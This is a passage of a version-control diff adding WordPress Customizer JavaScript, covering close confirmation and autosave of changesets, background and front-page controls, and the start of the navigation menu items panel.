+			api.bind( 'change', startPromptingBeforeUnload );
+			api.state( 'selectedChangesetStatus' ).bind( startPromptingBeforeUnload );
+			api.state( 'selectedChangesetDate' ).bind( startPromptingBeforeUnload );
+
+			function requestClose() {
+				var clearedToClose = $.Deferred(), dismissAutoSave = false, dismissLock = false;
+
+				if ( isCleanState() ) {
+					dismissLock = true;
+				} else if ( confirm( api.l10n.saveAlert ) ) {
+
+					dismissLock = true;
+
+					// Mark all settings as clean to prevent another call to requestChangesetUpdate.
+					api.each( function( setting ) {
+						setting._dirty = false;
+					});
+					$( document ).off( 'visibilitychange.wp-customize-changeset-update' );
+					$( window ).off( 'beforeunload.wp-customize-changeset-update' );
+
+					closeBtn.css( 'cursor', 'progress' );
+					if ( '' !== api.state( 'changesetStatus' ).get() ) {
+						dismissAutoSave = true;
+					}
+				} else {
+					clearedToClose.reject();
+				}
+
+				if ( dismissLock || dismissAutoSave ) {
+					wp.ajax.send( 'customize_dismiss_autosave_or_lock', {
+						timeout: 500, // Don't wait too long.
+						data: {
+							wp_customize: 'on',
+							customize_theme: api.settings.theme.stylesheet,
+							customize_changeset_uuid: api.settings.changeset.uuid,
+							nonce: api.settings.nonce.dismiss_autosave_or_lock,
+							dismiss_autosave: dismissAutoSave,
+							dismiss_lock: dismissLock
+						}
+					} ).always( function() {
+						clearedToClose.resolve();
+					} );
+				}
+
+				return clearedToClose.promise();
+			}
+
+			parent.bind( 'confirm-close', function() {
+				requestClose().done( function() {
+					parent.send( 'confirmed-close', true );
+				} ).fail( function() {
+					parent.send( 'confirmed-close', false );
+				} );
+			} );
+
+			closeBtn.on( 'click.customize-controls-close', function( event ) {
+				event.preventDefault();
+				if ( isInsideIframe ) {
+					parent.send( 'close' ); // See confirm-close logic above.
+				} else {
+					requestClose().done( function() {
+						$( window ).off( 'beforeunload.customize-confirm' );
+						window.location.href = closeBtn.prop( 'href' );
+					} );
+				}
+			});
+		})();
+
+		// Pass events through to the parent.
+		$.each( [ 'saved', 'change' ], function ( i, event ) {
+			api.bind( event, function() {
+				parent.send( event );
+			});
+		} );
+
+		// Pass titles to the parent
+		api.bind( 'title', function( newTitle ) {
+			parent.send( 'title', newTitle );
+		});
+
+		if ( api.settings.changeset.branching ) {
+			parent.send( 'changeset-uuid', api.settings.changeset.uuid );
+		}
+
+		// Initialize the connection with the parent frame.
+		parent.send( 'ready' );
+
+		// Control visibility for default controls
+		$.each({
+			'background_image': {
+				controls: [ 'background_preset', 'background_position', 'background_size', 'background_repeat', 'background_attachment' ],
+				callback: function( to ) { return !! to; }
+			},
+			'show_on_front': {
+				controls: [ 'page_on_front', 'page_for_posts' ],
+				callback: function( to ) { return 'page' === to; }
+			},
+			'header_textcolor': {
+				controls: [ 'header_textcolor' ],
+				callback: function( to ) { return 'blank' !== to; }
+			}
+		}, function( settingId, o ) {
+			api( settingId, function( setting ) {
+				$.each( o.controls, function( i, controlId ) {
+					api.control( controlId, function( control ) {
+						var visibility = function( to ) {
+							control.container.toggle( o.callback( to ) );
+						};
+
+						visibility( setting.get() );
+						setting.bind( visibility );
+					});
+				});
+			});
+		});
+
+		api.control( 'background_preset', function( control ) {
+			var visibility, defaultValues, values, toggleVisibility, updateSettings, preset;
+
+			visibility = { // position, size, repeat, attachment
+				'default': [ false, false, false, false ],
+				'fill': [ true, false, false, false ],
+				'fit': [ true, false, true, false ],
+				'repeat': [ true, false, false, true ],
+				'custom': [ true, true, true, true ]
+			};
+
+			defaultValues = [
+				_wpCustomizeBackground.defaults['default-position-x'],
+				_wpCustomizeBackground.defaults['default-position-y'],
+				_wpCustomizeBackground.defaults['default-size'],
+				_wpCustomizeBackground.defaults['default-repeat'],
+				_wpCustomizeBackground.defaults['default-attachment']
+			];
+
+			values = { // position_x, position_y, size, repeat, attachment
+				'default': defaultValues,
+				'fill': [ 'left', 'top', 'cover', 'no-repeat', 'fixed' ],
+				'fit': [ 'left', 'top', 'contain', 'no-repeat', 'fixed' ],
+				'repeat': [ 'left', 'top', 'auto', 'repeat', 'scroll' ]
+			};
+
+			// @todo These should actually toggle the active state, but without the preview overriding the state in data.activeControls.
+			toggleVisibility = function( preset ) {
+				_.each( [ 'background_position', 'background_size', 'background_repeat', 'background_attachment' ], function( controlId, i ) {
+					var control = api.control( controlId );
+					if ( control ) {
+						control.container.toggle( visibility[ preset ][ i ] );
+					}
+				} );
+			};
+
+			updateSettings = function( preset ) {
+				_.each( [ 'background_position_x', 'background_position_y', 'background_size', 'background_repeat', 'background_attachment' ], function( settingId, i ) {
+					var setting = api( settingId );
+					if ( setting ) {
+						setting.set( values[ preset ][ i ] );
+					}
+				} );
+			};
+
+			preset = control.setting.get();
+			toggleVisibility( preset );
+
+			control.setting.bind( 'change', function( preset ) {
+				toggleVisibility( preset );
+				if ( 'custom' !== preset ) {
+					updateSettings( preset );
+				}
+			} );
+		} );
+
+		api.control( 'background_repeat', function( control ) {
+			control.elements[0].unsync( api( 'background_repeat' ) );
+
+			control.element = new api.Element( control.container.find( 'input' ) );
+			control.element.set( 'no-repeat' !== control.setting() );
+
+			control.element.bind( function( to ) {
+				control.setting.set( to ? 'repeat' : 'no-repeat' );
+			} );
+
+			control.setting.bind( function( to ) {
+				control.element.set( 'no-repeat' !== to );
+			} );
+		} );
+
+		api.control( 'background_attachment', function( control ) {
+			control.elements[0].unsync( api( 'background_attachment' ) );
+
+			control.element = new api.Element( control.container.find( 'input' ) );
+			control.element.set( 'fixed' !== control.setting() );
+
+			control.element.bind( function( to ) {
+				control.setting.set( to ? 'scroll' : 'fixed' );
+			} );
+
+			control.setting.bind( function( to ) {
+				control.element.set( 'fixed' !== to );
+			} );
+		} );
+
+		// Juggle the two controls that use header_textcolor
+		api.control( 'display_header_text', function( control ) {
+			var last = '';
+
+			control.elements[0].unsync( api( 'header_textcolor' ) );
+
+			control.element = new api.Element( control.container.find('input') );
+			control.element.set( 'blank' !== control.setting() );
+
+			control.element.bind( function( to ) {
+				if ( ! to ) {
+					last = api( 'header_textcolor' ).get();
+				}
+
+				control.setting.set( to ? last : 'blank' );
+			});
+
+			control.setting.bind( function( to ) {
+				control.element.set( 'blank' !== to );
+			});
+		});
+
+		// Add behaviors to the static front page controls.
+		api( 'show_on_front', 'page_on_front', 'page_for_posts', function( showOnFront, pageOnFront, pageForPosts ) {
+			var handleChange = function() {
+				var setting = this, pageOnFrontId, pageForPostsId, errorCode = 'show_on_front_page_collision';
+				pageOnFrontId = parseInt( pageOnFront(), 10 );
+				pageForPostsId = parseInt( pageForPosts(), 10 );
+
+				if ( 'page' === showOnFront() ) {
+
+					// Change previewed URL to the homepage when changing the page_on_front.
+					if ( setting === pageOnFront && pageOnFrontId > 0 ) {
+						api.previewer.previewUrl.set( api.settings.url.home );
+					}
+
+					// Change the previewed URL to the selected page when changing the page_for_posts.
+					if ( setting === pageForPosts && pageForPostsId > 0 ) {
+						api.previewer.previewUrl.set( api.settings.url.home + '?page_id=' + pageForPostsId );
+					}
+				}
+
+				// Toggle notification when the homepage and posts page are both set and the same.
+				if ( 'page' === showOnFront() && pageOnFrontId && pageForPostsId && pageOnFrontId === pageForPostsId ) {
+					showOnFront.notifications.add( new api.Notification( errorCode, {
+						type: 'error',
+						message: api.l10n.pageOnFrontError
+					} ) );
+				} else {
+					showOnFront.notifications.remove( errorCode );
+				}
+			};
+			showOnFront.bind( handleChange );
+			pageOnFront.bind( handleChange );
+			pageForPosts.bind( handleChange );
+			handleChange.call( showOnFront, showOnFront() ); // Make sure initial notification is added after loading existing changeset.
+
+			// Move notifications container to the bottom.
+			api.control( 'show_on_front', function( showOnFrontControl ) {
+				showOnFrontControl.deferred.embedded.done( function() {
+					showOnFrontControl.container.append( showOnFrontControl.getNotificationsContainerElement() );
+				});
+			});
+		});
+
+		// Add code editor for Custom CSS.
+		(function() {
+			var sectionReady = $.Deferred();
+
+			api.section( 'custom_css', function( section ) {
+				section.deferred.embedded.done( function() {
+					if ( section.expanded() ) {
+						sectionReady.resolve( section );
+					} else {
+						section.expanded.bind( function( isExpanded ) {
+							if ( isExpanded ) {
+								sectionReady.resolve( section );
+							}
+						} );
+					}
+				});
+			});
+
+			// Set up the section description behaviors.
+			sectionReady.done( function setupSectionDescription( section ) {
+				var control = api.control( 'custom_css' );
+
+				// Hide redundant label for visual users.
+				control.container.find( '.customize-control-title:first' ).addClass( 'screen-reader-text' );
+
+				// Close the section description when clicking the close button.
+				section.container.find( '.section-description-buttons .section-description-close' ).on( 'click', function() {
+					section.container.find( '.section-meta .customize-section-description:first' )
+						.removeClass( 'open' )
+						.slideUp();
+
+					section.container.find( '.customize-help-toggle' )
+						.attr( 'aria-expanded', 'false' )
+						.focus(); // Avoid focus loss.
+				});
+
+				// Reveal help text if setting is empty.
+				if ( control && ! control.setting.get() ) {
+					section.container.find( '.section-meta .customize-section-description:first' )
+						.addClass( 'open' )
+						.show()
+						.trigger( 'toggled' );
+
+					section.container.find( '.customize-help-toggle' ).attr( 'aria-expanded', 'true' );
+				}
+			});
+		})();
+
+		// Toggle visibility of Header Video notice when active state change.
+		api.control( 'header_video', function( headerVideoControl ) {
+			headerVideoControl.deferred.embedded.done( function() {
+				var toggleNotice = function() {
+					var section = api.section( headerVideoControl.section() ), noticeCode = 'video_header_not_available';
+					if ( ! section ) {
+						return;
+					}
+					if ( headerVideoControl.active.get() ) {
+						section.notifications.remove( noticeCode );
+					} else {
+						section.notifications.add( new api.Notification( noticeCode, {
+							type: 'info',
+							message: api.l10n.videoHeaderNotice
+						} ) );
+					}
+				};
+				toggleNotice();
+				headerVideoControl.active.bind( toggleNotice );
+			} );
+		} );
+
+		// Update the setting validities.
+		api.previewer.bind( 'selective-refresh-setting-validities', function handleSelectiveRefreshedSettingValidities( settingValidities ) {
+			api._handleSettingValidities( {
+				settingValidities: settingValidities,
+				focusInvalidControl: false
+			} );
+		} );
+
+		// Focus on the control that is associated with the given setting.
+		api.previewer.bind( 'focus-control-for-setting', function( settingId ) {
+			var matchedControls = [];
+			api.control.each( function( control ) {
+				var settingIds = _.pluck( control.settings, 'id' );
+				if ( -1 !== _.indexOf( settingIds, settingId ) ) {
+					matchedControls.push( control );
+				}
+			} );
+
+			// Focus on the matched control with the lowest priority (appearing higher).
+			if ( matchedControls.length ) {
+				matchedControls.sort( function( a, b ) {
+					return a.priority() - b.priority();
+				} );
+				matchedControls[0].focus();
+			}
+		} );
+
+		// Refresh the preview when it requests.
+		api.previewer.bind( 'refresh', function() {
+			api.previewer.refresh();
+		});
+
+		// Update the edit shortcut visibility state.
+		api.state( 'paneVisible' ).bind( function( isPaneVisible ) {
+			var isMobileScreen;
+			if ( window.matchMedia ) {
+				isMobileScreen = window.matchMedia( 'screen and ( max-width: 640px )' ).matches;
+			} else {
+				isMobileScreen = $( window ).width() <= 640;
+			}
+			api.state( 'editShortcutVisibility' ).set( isPaneVisible || isMobileScreen ? 'visible' : 'hidden' );
+		} );
+		if ( window.matchMedia ) {
+			window.matchMedia( 'screen and ( max-width: 640px )' ).addListener( function() {
+				var state = api.state( 'paneVisible' );
+				state.callbacks.fireWith( state, [ state.get(), state.get() ] );
+			} );
+		}
+		api.previewer.bind( 'edit-shortcut-visibility', function( visibility ) {
+			api.state( 'editShortcutVisibility' ).set( visibility );
+		} );
+		api.state( 'editShortcutVisibility' ).bind( function( visibility ) {
+			api.previewer.send( 'edit-shortcut-visibility', visibility );
+		} );
+
+		// Autosave changeset.
+		function startAutosaving() {
+			var timeoutId, updateChangesetWithReschedule, scheduleChangesetUpdate, updatePending = false;
+
+			api.unbind( 'change', startAutosaving ); // Ensure startAutosaving only fires once.
+
+			function onChangeSaved( isSaved ) {
+				if ( ! isSaved && ! api.settings.changeset.autosaved ) {
+					api.settings.changeset.autosaved = true; // Once a change is made then autosaving kicks in.
+					api.previewer.send( 'autosaving' );
+				}
+			}
+			api.state( 'saved' ).bind( onChangeSaved );
+			onChangeSaved( api.state( 'saved' ).get() );
+
+			/**
+			 * Request changeset update and then re-schedule the next changeset update time.
+			 *
+			 * @since 4.7.0
+			 * @private
+			 */
+			updateChangesetWithReschedule = function() {
+				if ( ! updatePending ) {
+					updatePending = true;
+					api.requestChangesetUpdate( {}, { autosave: true } ).always( function() {
+						updatePending = false;
+					} );
+				}
+				scheduleChangesetUpdate();
+			};
+
+			/**
+			 * Schedule changeset update.
+			 *
+			 * @since 4.7.0
+			 * @private
+			 */
+			scheduleChangesetUpdate = function() {
+				clearTimeout( timeoutId );
+				timeoutId = setTimeout( function() {
+					updateChangesetWithReschedule();
+				}, api.settings.timeouts.changesetAutoSave );
+			};
+
+			// Start auto-save interval for updating changeset.
+			scheduleChangesetUpdate();
+
+			// Save changeset when focus removed from window.
+			$( document ).on( 'visibilitychange.wp-customize-changeset-update', function() {
+				if ( document.hidden ) {
+					updateChangesetWithReschedule();
+				}
+			} );
+
+			// Save changeset before unloading window.
+			$( window ).on( 'beforeunload.wp-customize-changeset-update', function() {
+				updateChangesetWithReschedule();
+			} );
+		}
+		api.bind( 'change', startAutosaving );
+
+		// Make sure TinyMCE dialogs appear above Customizer UI.
+		$( document ).one( 'tinymce-editor-setup', function() {
+			if ( window.tinymce.ui.FloatPanel && ( ! window.tinymce.ui.FloatPanel.zIndex || window.tinymce.ui.FloatPanel.zIndex < 500001 ) ) {
+				window.tinymce.ui.FloatPanel.zIndex = 500001;
+			}
+		} );
+
+		body.addClass( 'ready' );
+		api.trigger( 'ready' );
+	});
+
+})( wp, jQuery );
Index: /tags/5.0.20/src/wp-admin/js/customize-nav-menus.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/customize-nav-menus.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/customize-nav-menus.js	(revision 56912)
@@ -0,0 +1,3449 @@
+/* global _wpCustomizeNavMenusSettings, wpNavMenu, console */
+( function( api, wp, $ ) {
+	'use strict';
+
+	/**
+	 * Set up wpNavMenu for drag and drop.
+	 */
+	wpNavMenu.originalInit = wpNavMenu.init;
+	wpNavMenu.options.menuItemDepthPerLevel = 20;
+	wpNavMenu.options.sortableItems         = '> .customize-control-nav_menu_item';
+	wpNavMenu.options.targetTolerance       = 10;
+	wpNavMenu.init = function() {
+		this.jQueryExtensions();
+	};
+
+	api.Menus = api.Menus || {};
+
+	// Link settings.
+	api.Menus.data = {
+		itemTypes: [],
+		l10n: {},
+		settingTransport: 'refresh',
+		phpIntMax: 0,
+		defaultSettingValues: {
+			nav_menu: {},
+			nav_menu_item: {}
+		},
+		locationSlugMappedToName: {}
+	};
+	if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) {
+		$.extend( api.Menus.data, _wpCustomizeNavMenusSettings );
+	}
+
+	/**
+	 * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which
+	 * serve as placeholders until Save & Publish happens.
+	 *
+	 * @return {number}
+	 */
+	api.Menus.generatePlaceholderAutoIncrementId = function() {
+		return -Math.ceil( api.Menus.data.phpIntMax * Math.random() );
+	};
+
+	/**
+	 * wp.customize.Menus.AvailableItemModel
+	 *
+	 * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend(
+		{
+			id: null // This is only used by Backbone.
+		},
+		api.Menus.data.defaultSettingValues.nav_menu_item
+	) );
+
+	/**
+	 * wp.customize.Menus.AvailableItemCollection
+	 *
+	 * Collection for available menu item models.
+	 *
+	 * @constructor
+	 * @augments Backbone.Model
+	 */
+	api.Menus.AvailableItemCollection = Backbone.Collection.extend({
+		model: api.Menus.AvailableItemModel,
+
+		sort_key: 'order',
+
+		comparator: function( item ) {
+			return -item.get( this.sort_key );
+		},
+
+		sortByField: function( fieldName ) {
+			this.sort_key = fieldName;
+			this.sort();
+		}
+	});
+	api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems );
+
+	/**
+	 * Insert a new `auto-draft` post.
+	 *
+	 * @since 4.7.0
+	 * @access public
+	 *
+	 * @param {object} params - Parameters for the draft post to create.
+	 * @param {string} params.post_type - Post type to add.
+	 * @param {string} params.post_title - Post title to use.
+	 * @return {jQuery.promise} Promise resolved with the added post.
+	 */
+	api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) {
+		var request, deferred = $.Deferred();
+
+		request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', {
+			'customize-menus-nonce': api.settings.nonce['customize-menus'],
+			'wp_customize': 'on',
+			'customize_changeset_uuid': api.settings.changeset.uuid,
+			'params': params
+		} );
+
+		request.done( function( response ) {
+			if ( response.post_id ) {
+				api( 'nav_menus_created_posts' ).set(
+					api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] )
+				);
+
+				if ( 'page' === params.post_type ) {
+
+					// Activate static front page controls as this could be the first page created.
+					if ( api.section.has( 'static_front_page' ) ) {
+						api.section( 'static_front_page' ).activate();
+					}
+
+					// Add new page to dropdown-pages controls.
+					api.control.each( function( control ) {
+						var select;
+						if ( 'dropdown-pages' === control.params.type ) {
+							select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' );
+							select.append( new Option( params.post_title, response.post_id ) );
+						}
+					} );
+				}
+				deferred.resolve( response );
+			}
+		} );
+
+		request.fail( function( response ) {
+			var error = response || '';
+
+			if ( 'undefined' !== typeof response.message ) {
+				error = response.message;
+			}
+
+			console.error( error );
+			deferred.rejectWith( error );
+		} );
+
+		return deferred.promise();
+	};
+
+	/**
+	 * wp.customize.Menus.AvailableMenuItemsPanelView
+	 *
+	 * View class for the available menu items panel.
+	 *
+	 * @constructor
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend({
+
+		el: '#available-menu-items',
+
+		events: {
+			'input #menu-items-search': 'debounceSearch',
+			'keyup #menu-items-search': 'debounceSearch',
+			'focus .menu-item-tpl': 'focus',
+			'click .menu-item-tpl': '_submit',
+			'click #custom-menu-item-submit': '_submitLink',
+			'keypress #custom-menu-item-name': '_submitLink',
+			'click .new-content-item .add-content': '_submitNew',
+			'keypress .create-item-input': '_submitNew',
+			'keydown': 'keyboardAccessible'
+		},
+
+		// Cache current selected menu item.
+		selected: null,
+
+		// Cache menu control that opened the panel.
+		currentMenuControl: null,
+		debounceSearch: null,
+		$search: null,
+		$clearResults: null,
+		searchTerm: '',
+		rendered: false,
+		pages: {},
+		sectionContent: '',
+		loading: false,
+		addingNew: false,
+
+		initialize: function() {
+			var self = this;
+
+			if ( ! api.panel.has( 'nav_menus' ) ) {
+				return;
+			}
+
+			this.$search = $( '#menu-items-search' );
+			this.$clearResults = this.$el.find( '.clear-results' );
+			this.sectionContent = this.$el.find( '.available-menu-items-list' );
+
+			this.debounceSearch = _.debounce( self.search, 500 );
+
+			_.bindAll( this, 'close' );
+
+			// If the available menu items panel is open and the customize controls are
+			// interacted with (other than an item being deleted), then close the
+			// available menu items panel. Also close on back button click.
+			$( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) {
+				var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
+					isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
+				if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
+					self.close();
+				}
+			} );
+
+			// Clear the search results and trigger a `keyup` event to fire a new search.
+			this.$clearResults.on( 'click', function() {
+				self.$search.val( '' ).focus().trigger( 'keyup' );
+			} );
+
+			this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() {
+				$( this ).removeClass( 'invalid' );
+			});
+
+			// Load available items if it looks like we'll need them.
+			api.panel( 'nav_menus' ).container.bind( 'expanded', function() {
+				if ( ! self.rendered ) {
+					self.initList();
+					self.rendered = true;
+				}
+			});
+
+			// Load more items.
+			this.sectionContent.scroll( function() {
+				var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ),
+					visibleHeight = self.$el.find( '.accordion-section.open' ).height();
+
+				if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) {
+					var type = $( this ).data( 'type' ),
+						object = $( this ).data( 'object' );
+
+					if ( 'search' === type ) {
+						if ( self.searchTerm ) {
+							self.doSearch( self.pages.search );
+						}
+					} else {
+						self.loadItems( [
+							{ type: type, object: object }
+						] );
+					}
+				}
+			});
+
+			// Close the panel if the URL in the preview changes
+			api.previewer.bind( 'url', this.close );
+
+			self.delegateEvents();
+		},
+
+		// Search input change handler.
+		search: function( event ) {
+			var $searchSection = $( '#available-menu-items-search' ),
+				$otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection );
+
+			if ( ! event ) {
+				return;
+			}
+
+			if ( this.searchTerm === event.target.value ) {
+				return;
+			}
+
+			if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) {
+				$otherSections.fadeOut( 100 );
+				$searchSection.find( '.accordion-section-content' ).slideDown( 'fast' );
+				$searchSection.addClass( 'open' );
+				this.$clearResults.addClass( 'is-visible' );
+			} else if ( '' === event.target.value ) {
+				$searchSection.removeClass( 'open' );
+				$otherSections.show();
+				this.$clearResults.removeClass( 'is-visible' );
+			}
+
+			this.searchTerm = event.target.value;
+			this.pages.search = 1;
+			this.doSearch( 1 );
+		},
+
+		// Get search results.
+		doSearch: function( page ) {
+			var self = this, params,
+				$section = $( '#available-menu-items-search' ),
+				$content = $section.find( '.accordion-section-content' ),
+				itemTemplate = wp.template( 'available-menu-item' );
+
+			if ( self.currentRequest ) {
+				self.currentRequest.abort();
+			}
+
+			if ( page < 0 ) {
+				return;
+			} else if ( page > 1 ) {
+				$section.addClass( 'loading-more' );
+				$content.attr( 'aria-busy', 'true' );
+				wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore );
+			} else if ( '' === self.searchTerm ) {
+				$content.html( '' );
+				wp.a11y.speak( '' );
+				return;
+			}
+
+			$section.addClass( 'loading' );
+			self.loading = true;
+
+			params = api.previewer.query( { excludeCustomizedSaved: true } );
+			_.extend( params, {
+				'customize-menus-nonce': api.settings.nonce['customize-menus'],
+				'wp_customize': 'on',
+				'search': self.searchTerm,
+				'page': page
+			} );
+
+			self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params );
+
+			self.currentRequest.done(function( data ) {
+				var items;
+				if ( 1 === page ) {
+					// Clear previous results as it's a new search.
+					$content.empty();
+				}
+				$section.removeClass( 'loading loading-more' );
+				$content.attr( 'aria-busy', 'false' );
+				$section.addClass( 'open' );
+				self.loading = false;
+				items = new api.Menus.AvailableItemCollection( data.items );
+				self.collection.add( items.models );
+				items.each( function( menuItem ) {
+					$content.append( itemTemplate( menuItem.attributes ) );
+				} );
+				if ( 20 > items.length ) {
+					self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either.
+				} else {
+					self.pages.search = self.pages.search + 1;
+				}
+				if ( items && page > 1 ) {
+					wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) );
+				} else if ( items && page === 1 ) {
+					wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) );
+				}
+			});
+
+			self.currentRequest.fail(function( data ) {
+				// data.message may be undefined, for example when typing slow and the request is aborted.
+				if ( data.message ) {
+					$content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) );
+					wp.a11y.speak( data.message );
+				}
+				self.pages.search = -1;
+			});
+
+			self.currentRequest.always(function() {
+				$section.removeClass( 'loading loading-more' );
+				$content.attr( 'aria-busy', 'false' );
+				self.loading = false;
+				self.currentRequest = null;
+			});
+		},
+
+		// Render the individual items.
+		initList: function() {
+			var self = this;
+
+			// Render the template for each item by type.
+			_.each( api.Menus.data.itemTypes, function( itemType ) {
+				self.pages[ itemType.type + ':' + itemType.object ] = 0;
+			} );
+			self.loadItems( api.Menus.data.itemTypes );
+		},
+
+		/**
+		 * Load available nav menu items.
+		 *
+		 * @since 4.3.0
+		 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object.
+		 * @access private
+		 *
+		 * @param {Array.<object>} itemTypes List of objects containing type and key.
+		 * @param {string} deprecated Formerly the object parameter.
+		 * @returns {void}
+		 */
+		loadItems: function( itemTypes, deprecated ) {
+			var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {};
+			itemTemplate = wp.template( 'available-menu-item' );
+
+			if ( _.isString( itemTypes ) && _.isString( deprecated ) ) {
+				_itemTypes = [ { type: itemTypes, object: deprecated } ];
+			} else {
+				_itemTypes = itemTypes;
+			}
+
+			_.each( _itemTypes, function( itemType ) {
+				var container, name = itemType.type + ':' + itemType.object;
+				if ( -1 === self.pages[ name ] ) {
+					return; // Skip types for which there are no more results.
+				}
+				container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object );
+				container.find( '.accordion-section-title' ).addClass( 'loading' );
+				availableMenuItemContainers[ name ] = container;
+
+				requestItemTypes.push( {
+					object: itemType.object,
+					type: itemType.type,
+					page: self.pages[ name ]
+				} );
+			} );
+
+			if ( 0 === requestItemTypes.length ) {
+				return;
+			}
+
+			self.loading = true;
+
+			params = api.previewer.query( { excludeCustomizedSaved: true } );
+			_.extend( params, {
+				'customize-menus-nonce': api.settings.nonce['customize-menus'],
+				'wp_customize': 'on',
+				'item_types': requestItemTypes
+			} );
+
+			request = wp.ajax.post( 'load-available-menu-items-customizer', params );
+
+			request.done(function( data ) {
+				var typeInner;
+				_.each( data.items, function( typeItems, name ) {
+					if ( 0 === typeItems.length ) {
+						if ( 0 === self.pages[ name ] ) {
+							availableMenuItemContainers[ name ].find( '.accordion-section-title' )
+								.addClass( 'cannot-expand' )
+								.removeClass( 'loading' )
+								.find( '.accordion-section-title > button' )
+								.prop( 'tabIndex', -1 );
+						}
+						self.pages[ name ] = -1;
+						return;
+					} else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) {
+						availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).click();
+					}
+					typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away?
+					self.collection.add( typeItems.models );
+					typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' );
+					typeItems.each( function( menuItem ) {
+						typeInner.append( itemTemplate( menuItem.attributes ) );
+					} );
+					self.pages[ name ] += 1;
+				});
+			});
+			request.fail(function( data ) {
+				if ( typeof console !== 'undefined' && console.error ) {
+					console.error( data );
+				}
+			});
+			request.always(function() {
+				_.each( availableMenuItemContainers, function( container ) {
+					container.find( '.accordion-section-title' ).removeClass( 'loading' );
+				} );
+				self.loading = false;
+			});
+		},
+
+		// Adjust the height of each section of items to fit the screen.
+		itemSectionHeight: function() {
+			var sections, lists, totalHeight, accordionHeight, diff;
+			totalHeight = window.innerHeight;
+			sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' );
+			lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' );
+			accordionHeight =  46 * ( 1 + sections.length ) + 14; // Magic numbers.
+			diff = totalHeight - accordionHeight;
+			if ( 120 < diff && 290 > diff ) {
+				sections.css( 'max-height', diff );
+				lists.css( 'max-height', ( diff - 60 ) );
+			}
+		},
+
+		// Highlights a menu item.
+		select: function( menuitemTpl ) {
+			this.selected = $( menuitemTpl );
+			this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' );
+			this.selected.addClass( 'selected' );
+		},
+
+		// Highlights a menu item on focus.
+		focus: function( event ) {
+			this.select( $( event.currentTarget ) );
+		},
+
+		// Submit handler for keypress and click on menu item.
+		_submit: function( event ) {
+			// Only proceed with keypress if it is Enter or Spacebar
+			if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) {
+				return;
+			}
+
+			this.submit( $( event.currentTarget ) );
+		},
+
+		// Adds a selected menu item to the menu.
+		submit: function( menuitemTpl ) {
+			var menuitemId, menu_item;
+
+			if ( ! menuitemTpl ) {
+				menuitemTpl = this.selected;
+			}
+
+			if ( ! menuitemTpl || ! this.currentMenuControl ) {
+				return;
+			}
+
+			this.select( menuitemTpl );
+
+			menuitemId = $( this.selected ).data( 'menu-item-id' );
+			menu_item = this.collection.findWhere( { id: menuitemId } );
+			if ( ! menu_item ) {
+				return;
+			}
+
+			this.currentMenuControl.addItemToMenu( menu_item.attributes );
+
+			$( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' );
+		},
+
+		// Submit handler for keypress and click on custom menu item.
+		_submitLink: function( event ) {
+			// Only proceed with keypress if it is Enter.
+			if ( 'keypress' === event.type && 13 !== event.which ) {
+				return;
+			}
+
+			this.submitLink();
+		},
+
+		// Adds the custom menu item to the menu.
+		submitLink: function() {
+			var menuItem,
+				itemName = $( '#custom-menu-item-name' ),
+				itemUrl = $( '#custom-menu-item-url' ),
+				urlRegex;
+
+			if ( ! this.currentMenuControl ) {
+				return;
+			}
+
+			/*
+			 * Allow URLs including:
+			 * - http://example.com/
+			 * - //example.com
+			 * - /directory/
+			 * - ?query-param
+			 * - #target
+			 * - mailto:foo@example.com
+			 *
+			 * Any further validation will be handled on the server when the setting is attempted to be saved,
+			 * so this pattern does not need to be complete.
+			 */
+			urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;
+
+			if ( '' === itemName.val() ) {
+				itemName.addClass( 'invalid' );
+				return;
+			} else if ( ! urlRegex.test( itemUrl.val() ) ) {
+				itemUrl.addClass( 'invalid' );
+				return;
+			}
+
+			menuItem = {
+				'title': itemName.val(),
+				'url': itemUrl.val(),
+				'type': 'custom',
